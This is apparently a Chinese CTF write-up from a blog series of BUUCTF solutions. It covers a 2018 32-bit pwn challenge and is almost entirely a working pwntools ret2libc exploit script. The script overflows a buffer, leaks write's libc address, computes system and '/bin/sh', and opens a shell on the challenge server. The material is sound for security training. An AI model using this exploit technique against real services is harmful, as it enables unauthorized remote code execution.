铁人三项(第五赛区)_2018_rop

合集 - BUUCTF WP(11)

1.get_started_3dsctf_20162023-07-282.not_the_same_3dsctf_20162023-07-283.ciscn_2019_c_12023-08-074.[OGeek2019]babyrop2023-08-075.ciscn_2019_es_22023-08-08

6. 铁人三项(第五赛区)_2018_rop2023-08-08

7.pwn2_sctf_20162023-08-088. bjdctf_2020_babyrop2023-08-089.[HarekazeCTF2019]baby_rop22023-08-0810.jarvisoj_fm2023-08-0811.ciscn_2019_s_32023-08-08

收起

铁人三项(第五赛区)_2018_rop

经典ret2libc3

exp

from pwn import * 
from LibcSearcher import * 
context(os='linux', arch='i386', log_level='debug') 

#p = process('./pwn') 
p = remote('node4.buuoj.cn',28146)
elf = ELF('./pwn')
main_addr = elf.sym['main']
plt_addr  = elf.plt['write']	
got_addr  = elf.got['write']

pay1 = b'a'*(0x88+4)+p32(plt_addr)+p32(main_addr)+p32(1)+p32(got_addr)+p32(0xD)
p.sendline(pay1)

write_addr = u32(p.recv()[0:4])#0xf7db1190
print("write_addr = ",hex(write_addr))

libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
print("libc_base_addr = ",hex(offset))
print("sys_addr = ",hex(system))
print("sh_addr = ",hex(binsh))
pay2 = b'a'*(0x88+4)+p32(system)+b'aaaa'+p32(binsh)
p.sendline(pay2)
p.interactive()